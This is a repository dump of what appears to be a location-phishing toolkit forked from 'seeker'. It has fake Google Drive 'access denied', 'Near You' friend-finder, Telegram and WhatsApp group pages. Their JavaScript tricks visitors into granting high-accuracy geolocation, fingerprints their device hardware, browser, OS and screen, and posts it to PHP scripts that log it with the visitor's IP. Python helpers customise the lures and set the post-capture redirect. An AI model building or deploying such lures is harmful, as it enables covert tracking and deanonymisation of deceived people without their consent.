120 | -webkit-box-shadow: none; 121 | -moz-box-shadow: none; 122 | box-shadow: none; 123 | background-color: #f5f5f5; 124 | background-image: -webkit-linear-gradient(top,#f5f5f5,#f1f1f1); 125 | background-image: -moz-linear-gradient(top,#f5f5f5,#f1f1f1); 126 | background-image: -ms-linear-gradient(top,#f5f5f5,#f1f1f1); 127 | background-image: -o-linear-gradient(top,#f5f5f5,#f1f1f1); 128 | background-image: linear-gradient(top,#f5f5f5,#f1f1f1); 129 | color: #444; 130 | border: 1px solid #dcdcdc; 131 | border: 1px solid rgba(0,0,0,0.1); 132 | } 133 | 134 | @media (max-width: 500px) { 135 | #accessDeniedHeader { 136 | color: #222; 137 | font: 25px Arial, sans-serif; 138 | } 139 | #accessDeniedIcon { 140 | background-image: url('/images/locked_doc-1.svg'); 141 | height: 108px; 142 | width: 88px; 143 | } 144 | #main { 145 | width: 100%; 146 | } 147 | #message { 148 | width: 75%; 149 | } 150 | #outerContainer #innerContainer { 151 | margin-left: 20px; 152 | margin-right: 20px; 153 | } 154 | } 155 | 156 | :focus {outline:none;} 157 | ::-moz-focus-inner {border:0;} -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Black.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Black.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-BlackItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-BlackItalic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Bold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Bold.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-BoldItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-BoldItalic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Italic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Italic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Light.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Light.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-LightItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-LightItalic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Medium.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Medium.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-MediumItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-MediumItalic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Regular.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-Thin.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-Thin.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/Roboto-ThinItalic.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/Roboto-ThinItalic.ttf -------------------------------------------------------------------------------- /template/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/fonts/pxiDypQkot1TnFhsFMOfGShVF9eO.woff2 -------------------------------------------------------------------------------- /template/gdrive/images/580b57fcd9996e24bc43c51f.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/580b57fcd9996e24bc43c51f.png -------------------------------------------------------------------------------- /template/gdrive/images/Google-Drive-logo1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/Google-Drive-logo1.png -------------------------------------------------------------------------------- /template/gdrive/images/drive_favicon1.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/drive_favicon1.ico -------------------------------------------------------------------------------- /template/gdrive/images/googlelogo_color_116x41dp.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/gdrive/images/googlelogo_color_116x41dp.png -------------------------------------------------------------------------------- /template/gdrive/images/locked_doc-1.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /template/gdrive/images/locked_doc-2.svg: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 6 | 7 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 19 | 22 | 23 | 24 | -------------------------------------------------------------------------------- /template/gdrive/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Google Drive - Access Denied 8 | 9 | 15 | 16 | 17 | 18 | 19 | 20 |
21 |
22 |
23 | 27 |
28 |
29 |
30 |
31 |

You need permission

32 |
33 |

Want in? Ask for access, or switch to an account with permission.

34 |
35 |

36 | 37 |

38 |
39 |
40 |
41 | 42 | -------------------------------------------------------------------------------- /template/gdrive/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: '/php/info.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /template/gdrive/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: '/php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){window.location='http://example.com';}, 27 | mimeType: 'text' 28 | }); 29 | }; 30 | } 31 | 32 | function showError(error) 33 | { 34 | switch(error.code) 35 | { 36 | case error.PERMISSION_DENIED: 37 | var denied = 'User denied the request for Geolocation'; 38 | alert('Please Refresh This Page and Allow Location Permission...'); 39 | break; 40 | case error.POSITION_UNAVAILABLE: 41 | var unavailable = 'Location information is unavailable'; 42 | break; 43 | case error.TIMEOUT: 44 | var timeout = 'The request to get user location timed out'; 45 | alert('Please Set Your Location Mode on High Accuracy...'); 46 | break; 47 | case error.UNKNOWN_ERROR: 48 | var unknown = 'An unknown error occurred'; 49 | break; 50 | } 51 | 52 | $.ajax({ 53 | type: 'POST', 54 | url: '/php/error.php', 55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 56 | success: function(){$('#change').html('Failed');}, 57 | mimeType: 'text' 58 | }); 59 | } 60 | -------------------------------------------------------------------------------- /template/gdrive/js/location_temp.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: '/php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){window.location='REDIRECT_URL';}, 27 | mimeType: 'text' 28 | }); 29 | }; 30 | } 31 | 32 | function showError(error) 33 | { 34 | switch(error.code) 35 | { 36 | case error.PERMISSION_DENIED: 37 | var denied = 'User denied the request for Geolocation'; 38 | alert('Please Refresh This Page and Allow Location Permission...'); 39 | break; 40 | case error.POSITION_UNAVAILABLE: 41 | var unavailable = 'Location information is unavailable'; 42 | break; 43 | case error.TIMEOUT: 44 | var timeout = 'The request to get user location timed out'; 45 | alert('Please Set Your Location Mode on High Accuracy...'); 46 | break; 47 | case error.UNKNOWN_ERROR: 48 | var unknown = 'An unknown error occurred'; 49 | break; 50 | } 51 | 52 | $.ajax({ 53 | type: 'POST', 54 | url: '/php/error.php', 55 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 56 | success: function(){$('#change').html('Failed');}, 57 | mimeType: 'text' 58 | }); 59 | } 60 | -------------------------------------------------------------------------------- /template/gdrive/php/error.php: -------------------------------------------------------------------------------- 1 | 42 | -------------------------------------------------------------------------------- /template/gdrive/php/info.php: -------------------------------------------------------------------------------- 1 | $ptf, 46 | 'browser' => $brw, 47 | 'cores' => $cc, 48 | 'ram' => $ram, 49 | 'vendor' => $ven, 50 | 'render' => $ren, 51 | 'ip' => $ip, 52 | 'ht' => $ht, 53 | 'wd' => $wd, 54 | 'os' => $os); 55 | 56 | $jdata = json_encode($data); 57 | 58 | $f = fopen('info.txt', 'w+'); 59 | fwrite($f, $jdata); 60 | fclose($f); 61 | } 62 | ?> 63 | -------------------------------------------------------------------------------- /template/gdrive/php/info.txt: -------------------------------------------------------------------------------- 1 | info here:- 2 | -------------------------------------------------------------------------------- /template/gdrive/php/result.php: -------------------------------------------------------------------------------- 1 | $lat, 15 | 'lon' => $lon, 16 | 'acc' => $acc, 17 | 'alt' => $alt, 18 | 'dir' => $dir, 19 | 'spd' => $spd); 20 | 21 | $jdata = json_encode($data); 22 | 23 | $f = fopen('result.txt', 'w+'); 24 | fwrite($f, $jdata); 25 | fclose($f); 26 | } 27 | ?> 28 | -------------------------------------------------------------------------------- /template/gdrive/php/result.txt: -------------------------------------------------------------------------------- 1 | Results Here:- 2 | -------------------------------------------------------------------------------- /template/mod_gdrive.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | R = '\033[31m' # red 4 | G = '\033[32m' # green 5 | C = '\033[36m' # cyan 6 | W = '\033[0m' # white 7 | 8 | redirect = input(G + '[+]' + C + ' Enter GDrive File URL : ' + W) 9 | with open('template/gdrive/js/location_temp.js', 'r') as js: 10 | reader = js.read() 11 | update = reader.replace('REDIRECT_URL', redirect) 12 | 13 | with open('template/gdrive/js/location.js', 'w') as js_update: 14 | js_update.write(update) -------------------------------------------------------------------------------- /template/mod_telegram.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import shutil 5 | 6 | R = '\033[31m' # red 7 | G = '\033[32m' # green 8 | C = '\033[36m' # cyan 9 | W = '\033[0m' # white 10 | 11 | title = input(G + '[+]' + C + ' Group Title : ' + W) 12 | desc = input(G + '[+]' + C + ' Group Description : ' + W) 13 | image = input(G + '[+]' + C + ' Image Path (Best Size : 300x300) : ' + W) 14 | mem_num = input(G + '[+]' + C + ' Number of Members : ' + W) 15 | online_num = input(G + '[+]' + C + ' Number of Members Online : ' + W) 16 | 17 | img_name = image.split('/')[-1] 18 | try: 19 | shutil.copyfile(image, 'template/telegram/images/{}'.format(img_name)) 20 | except Exception as e: 21 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e)) 22 | exit() 23 | 24 | with open('template/telegram/index_temp.html', 'r') as index_temp: 25 | code = index_temp.read() 26 | code = code.replace('$TITLE$', title) 27 | code = code.replace('$DESC$', desc) 28 | code = code.replace('$MEMBERS$', mem_num) 29 | code = code.replace('$ONLINE$', online_num) 30 | code = code.replace('$IMAGE$', 'images/{}'.format(img_name)) 31 | 32 | with open('template/telegram/index.html', 'w') as new_index: 33 | new_index.write(code) -------------------------------------------------------------------------------- /template/mod_whatsapp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import os 4 | import shutil 5 | 6 | R = '\033[31m' # red 7 | G = '\033[32m' # green 8 | C = '\033[36m' # cyan 9 | W = '\033[0m' # white 10 | 11 | title = input(G + '[+]' + C + ' Group Title : ' + W) 12 | image = input(G + '[+]' + C + ' Path to Group Img (Best Size : 300x300): ' + W) 13 | 14 | img_name = image.split('/')[-1] 15 | try: 16 | shutil.copyfile(image, 'template/whatsapp/images/{}'.format(img_name)) 17 | except Exception as e: 18 | print('\n' + R + '[-]' + C + ' Exception : ' + W + str(e)) 19 | exit() 20 | 21 | with open('template/whatsapp/index_temp.html', 'r') as index_temp: 22 | code = index_temp.read() 23 | code = code.replace('$TITLE$', title) 24 | code = code.replace('$IMAGE$', 'images/{}'.format(img_name)) 25 | 26 | with open('template/whatsapp/index.html', 'w') as new_index: 27 | new_index.write(code) -------------------------------------------------------------------------------- /template/nearyou/css/main.css: -------------------------------------------------------------------------------- 1 | html, body 2 | { 3 | height: 100%; 4 | } 5 | body 6 | { 7 | background-color: #000000; 8 | margin: auto; 9 | overflow: hidden; 10 | } 11 | h1 12 | { 13 | font-family: 'Raleway', sans-serif; 14 | color: white; 15 | text-align: center; 16 | filter: drop-shadow(0px 0px 8px cyan); 17 | margin: auto; 18 | position: fixed; 19 | top: 5%; 20 | left: 0%; 21 | right: 0%; 22 | } 23 | h2 24 | { 25 | font-family: 'Raleway', sans-serif; 26 | color: white; 27 | text-align: center; 28 | filter: drop-shadow(0px 0px 8px cyan); 29 | margin: auto; 30 | position: fixed; 31 | top: 15%; 32 | left: 0%; 33 | right: 0%; 34 | } 35 | img 36 | { 37 | position: fixed; 38 | margin: auto; 39 | left: 0%; 40 | right: 0%; 41 | top: 30%; 42 | height: 40%; 43 | filter: drop-shadow(0px 0px 8px white); 44 | opacity: 50%; 45 | } 46 | .button 47 | { 48 | background-color: Transparent; 49 | border: 2px solid white; 50 | cursor: pointer; 51 | color: white; 52 | font-size: 24px; 53 | padding: 14px 40px; 54 | border-radius: 6px; 55 | width: 50%; 56 | text-align: center; 57 | font-family: 'Raleway', sans-serif; 58 | position: fixed; 59 | left: 25%; 60 | right: 25%; 61 | bottom: 10%; 62 | filter: drop-shadow(0px 0px 8px cyan); 63 | transition: text-shadow 0.2s linear; 64 | } 65 | .text 66 | { 67 | font-family: 'Raleway', sans-serif; 68 | color: white; 69 | text-align: center; 70 | filter: drop-shadow(0px 0px 8px cyan); 71 | margin: auto; 72 | position: fixed; 73 | top: 5%; 74 | left: 0%; 75 | right: 0%; 76 | z-index: 1; 77 | } 78 | .earth 79 | { 80 | position: absolute; 81 | top: 0; 82 | bottom: 0; 83 | left: 0; 84 | right: 0; 85 | margin: auto; 86 | height: 250px; 87 | width: 250px; 88 | background-image: url(https://raw.githubusercontent.com/thewhiteh4t/seeker/master/template/nearyou/css/worldmap.jpg); 89 | border-radius: 50%; 90 | background-size: 700px; 91 | animation:rotate 7s linear infinite; 92 | box-shadow: 10px -10px 40px black inset, -10px 10px 40px black inset, -10px -10px 40px black inset; 93 | filter: drop-shadow(0px 0px 8px black); 94 | } 95 | 96 | @keyframes rotate 97 | { 98 | 0%{background-position: 0 0;} 99 | 100%{background-position: 700px 0;} 100 | } 101 | -------------------------------------------------------------------------------- /template/nearyou/css/worldmap.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Optane002/Locator/a013ce551b811d471f3332e6d6a661a71a6e2a41/template/nearyou/css/worldmap.jpg -------------------------------------------------------------------------------- /template/nearyou/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Near You | Meet New People, Make New Friends 5 | 6 | 7 | 8 | 9 | 10 | 11 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 27 |

Find People Near You

28 |

Meet New People, Make New Friends

29 |
30 |
31 |
32 | 33 | 34 | -------------------------------------------------------------------------------- /template/nearyou/js/info.js: -------------------------------------------------------------------------------- 1 | function information() 2 | { 3 | var ptf = navigator.platform; 4 | var cc = navigator.hardwareConcurrency; 5 | var ram = navigator.deviceMemory; 6 | var ver = navigator.userAgent; 7 | var str = ver; 8 | var os = ver; 9 | //gpu 10 | var canvas = document.createElement('canvas'); 11 | var gl; 12 | var debugInfo; 13 | var ven; 14 | var ren; 15 | //sysinfo 16 | console.log(ver); 17 | console.log(ptf); 18 | 19 | if (cc == undefined) 20 | { 21 | cc = 'Not Available'; 22 | console.log('Cores are not available') 23 | } 24 | console.log(cc); 25 | 26 | //ram 27 | if (ram == undefined) 28 | { 29 | ram = 'Not Available'; 30 | console.log('RAM is not available') 31 | } 32 | console.log(ram); 33 | 34 | //browser 35 | if (ver.indexOf('Firefox') != -1) 36 | { 37 | str = str.substring(str.indexOf(' Firefox/') + 1); 38 | str = str.split(' '); 39 | brw = str[0]; 40 | console.log(str[0]); 41 | } 42 | else if (ver.indexOf('Chrome') != -1) 43 | { 44 | str = str.substring(str.indexOf(' Chrome/') + 1); 45 | str = str.split(' '); 46 | brw = str[0]; 47 | console.log(str[0]); 48 | } 49 | else if (ver.indexOf('Safari') != -1) 50 | { 51 | str = str.substring(str.indexOf(' Safari/') + 1); 52 | str = str.split(' '); 53 | brw = str[0]; 54 | console.log(str[0]); 55 | } 56 | else if (ver.indexOf('Edge') != -1) 57 | { 58 | str = str.substring(str.indexOf(' Edge/') + 1); 59 | str = str.split(' '); 60 | brw = str[0]; 61 | console.log(str[0]); 62 | } 63 | else 64 | { 65 | brw = 'Not Available' 66 | console.log('Browser is not available') 67 | } 68 | 69 | //gpu 70 | try 71 | { 72 | gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl'); 73 | } 74 | catch (e) {} 75 | if (gl) 76 | { 77 | debugInfo = gl.getExtension('WEBGL_debug_renderer_info'); 78 | ven = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL); 79 | ren = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL); 80 | } 81 | if (ven == undefined) 82 | { 83 | ven = 'Not Available'; 84 | console.log('GPU Vendor not available') 85 | } 86 | if (ren == undefined) 87 | { 88 | ren = 'Not Available'; 89 | console.log('GPU Renderer not available') 90 | } 91 | console.log(ven); 92 | console.log(ren); 93 | // 94 | var ht = window.screen.height 95 | var wd = window.screen.width 96 | console.log(window.screen.height) 97 | console.log(window.screen.width) 98 | //os 99 | os = os.substring(0, os.indexOf(')')); 100 | os = os.split(';'); 101 | os = os[1]; 102 | if (os == undefined) 103 | { 104 | os = 'Not Available'; 105 | console.log('OS is not available') 106 | } 107 | os = os.trim(); 108 | console.log(os); 109 | // 110 | $.ajax({ 111 | type: 'POST', 112 | url: '/php/info.php', 113 | data: {Ptf: ptf, Brw: brw, Cc: cc, Ram: ram, Ven: ven, Ren: ren, Ht: ht, Wd: wd, Os: os}, 114 | success: function(){console.log('Got Device Information');}, 115 | mimeType: 'text' 116 | }); 117 | } 118 | -------------------------------------------------------------------------------- /template/nearyou/js/location.js: -------------------------------------------------------------------------------- 1 | function locate() 2 | { 3 | if(navigator.geolocation) 4 | { 5 | var optn = {enableHighAccuracy : true, timeout : 30000, maximumage: 0}; 6 | navigator.geolocation.getCurrentPosition(showPosition, showError, optn); 7 | } 8 | else 9 | { 10 | alert('Geolocation is not Supported by your Browser...'); 11 | } 12 | 13 | function showPosition(position) 14 | { 15 | var lat = position.coords.latitude; 16 | var lon = position.coords.longitude; 17 | var acc = position.coords.accuracy; 18 | var alt = position.coords.altitude; 19 | var dir = position.coords.heading; 20 | var spd = position.coords.speed; 21 | 22 | $.ajax({ 23 | type: 'POST', 24 | url: '/php/result.php', 25 | data: {Lat: lat, Lon: lon, Acc: acc, Alt: alt, Dir: dir, Spd: spd}, 26 | success: function(){$('#change').html('Coming Soon');}, 27 | mimeType: 'text' 28 | }); 29 | alert('Thankyou For Taking Interest in Near You...This Product is Coming Soon...'); 30 | }; 31 | } 32 | 33 | function showError(error) 34 | { 35 | switch(error.code) 36 | { 37 | case error.PERMISSION_DENIED: 38 | var denied = 'User denied the request for Geolocation'; 39 | alert('Please Refresh This Page and Allow Location Permission...'); 40 | break; 41 | case error.POSITION_UNAVAILABLE: 42 | var unavailable = 'Location information is unavailable'; 43 | break; 44 | case error.TIMEOUT: 45 | var timeout = 'The request to get user location timed out'; 46 | alert('Please Set Your Location Mode on High Accuracy...'); 47 | break; 48 | case error.UNKNOWN_ERROR: 49 | var unknown = 'An unknown error occurred'; 50 | break; 51 | } 52 | 53 | $.ajax({ 54 | type: 'POST', 55 | url: '/php/error.php', 56 | data: {Denied: denied, Una: unavailable, Time: timeout, Unk: unknown}, 57 | success: function(){$('#change').html('Failed');}, 58 | mimeType: 'text' 59 | }); 60 | } 61 | -------------------------------------------------------------------------------- /template/nearyou/js/main.js: -------------------------------------------------------------------------------- 1 | function main() 2 | { 3 | locate(); 4 | } 5 | -------------------------------------------------------------------------------- /template/nearyou/js/warpspeed.min.js: -------------------------------------------------------------------------------- 1 | function timeStamp(){return window.performance.now?window.performance.now():Date.now()}function isVisible(el){var r=el.getBoundingClientRect();return r.top+r.height>=0&&r.left+r.width>=0&&r.bottom-r.height<=(window.innerHeight||document.documentElement.clientHeight)&&r.right-r.width<=(window.innerWidth||document.documentElement.clientWidth)}function Star(x,y,z){this.x=x,this.y=y,this.z=z,this.size=.5+Math.random()}function WarpSpeed(targetId,config){if(this.targetId=targetId,void 0==WarpSpeed.RUNNING_INSTANCES&&(WarpSpeed.RUNNING_INSTANCES={}),WarpSpeed.RUNNING_INSTANCES[targetId]&&WarpSpeed.RUNNING_INSTANCES[targetId].destroy(),config=config||{},"string"==typeof config)try{config=JSON.parse(config)}catch(e){config={}}this.SPEED=void 0==config.speed||config.speed<0?.7:config.speed,this.TARGET_SPEED=void 0==config.targetSpeed||config.targetSpeed<0?this.SPEED:config.targetSpeed,this.SPEED_ADJ_FACTOR=void 0==config.speedAdjFactor?.03:config.speedAdjFactor<0?0:config.speedAdjFactor>1?1:config.speedAdjFactor,this.DENSITY=void 0==config.density||config.density<=0?.7:config.density,this.USE_CIRCLES=void 0==config.shape?!0:"circle"==config.shape,this.DEPTH_ALPHA=void 0==config.depthFade?!0:config.depthFade,this.WARP_EFFECT=void 0==config.warpEffect?!0:config.warpEffect,this.WARP_EFFECT_LENGTH=void 0==config.warpEffectLength?5:config.warpEffectLength<0?0:config.warpEffectLength,this.STAR_SCALE=void 0==config.starSize||config.starSize<=0?3:config.starSize,this.BACKGROUND_COLOR=void 0==config.backgroundColor?"hsl(263,45%,7%)":config.backgroundColor;var canvas=document.getElementById(this.targetId);canvas.width=1,canvas.height=1;var ctx=canvas.getContext("2d");ctx.fillStyle=this.BACKGROUND_COLOR,ctx.fillRect(0,0,1,1),ctx.fillStyle=void 0==config.starColor?"#FFFFFF":config.starColor,ctx.fillRect(0,0,1,1);var color=ctx.getImageData(0,0,1,1).data;this.STAR_R=color[0],this.STAR_G=color[1],this.STAR_B=color[2],this.prevW=-1,this.prevH=-1,this.stars=[];for(var i=0;i<1e3*this.DENSITY;i++)this.stars.push(new Star(1e3*(Math.random()-.5),1e3*(Math.random()-.5),1e3*Math.random()));this.lastMoveTS=timeStamp(),this.drawRequest=null,this.LAST_RENDER_T=0,WarpSpeed.RUNNING_INSTANCES[targetId]=this,this.draw()}window.requestAnimationFrame=window.requestAnimationFrame||function(callback,element){setTimeout(callback,1e3/60)},WarpSpeed.prototype={constructor:WarpSpeed,draw:function(){var TIME=timeStamp();if(!document.getElementById(this.targetId))return void this.destroy();this.move();var canvas=document.getElementById(this.targetId);if(!this.PAUSED&&isVisible(canvas)){(this.prevW!=canvas.clientWidth||this.prevH!=canvas.clientHeight)&&(canvas.width=(canvas.clientWidth<10?10:canvas.clientWidth)*(window.devicePixelRatio||1),canvas.height=(canvas.clientHeight<10?10:canvas.clientHeight)*(window.devicePixelRatio||1)),this.size=(canvas.heightxOnDisplay||xOnDisplay>.5||-.5>yOnDisplay||yOnDisplay>.5)){var size=s.size*this.size/s.z;if(!(.3>size)){if(this.DEPTH_ALPHA){var alpha=(1e3-s.z)/1e3;ctx.fillStyle=rgba+(alpha>1?1:alpha)+")"}else ctx.fillStyle=rgb;if(this.WARP_EFFECT){ctx.beginPath();var x2OnDisplay=s.x/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED),y2OnDisplay=s.y/(s.z+this.WARP_EFFECT_LENGTH*this.SPEED);if(-.5>x2OnDisplay||x2OnDisplay>.5||-.5>y2OnDisplay||y2OnDisplay>.5)continue;ctx.moveTo(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2),ctx.lineTo(canvas.width*(x2OnDisplay+.5)-size/2,canvas.height*(y2OnDisplay+.5)-size/2),ctx.lineWidth=size>this.maxLineWidth?this.maxLineWidth:size,this.USE_CIRCLES?ctx.lineCap="round":ctx.lineCap="butt",ctx.strokeStyle=ctx.fillStyle,ctx.stroke()}else this.USE_CIRCLES?(ctx.beginPath(),ctx.arc(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size/2,0,2*Math.PI),ctx.fill()):ctx.fillRect(canvas.width*(xOnDisplay+.5)-size/2,canvas.height*(yOnDisplay+.5)-size/2,size,size)}}}this.prevW=canvas.clientWidth,this.prevH=canvas.clientHeight}-1!=this.drawRequest&&(this.drawRequest=requestAnimationFrame(this.draw.bind(this))),this.LAST_RENDER_T=timeStamp()-TIME},move:function(){var 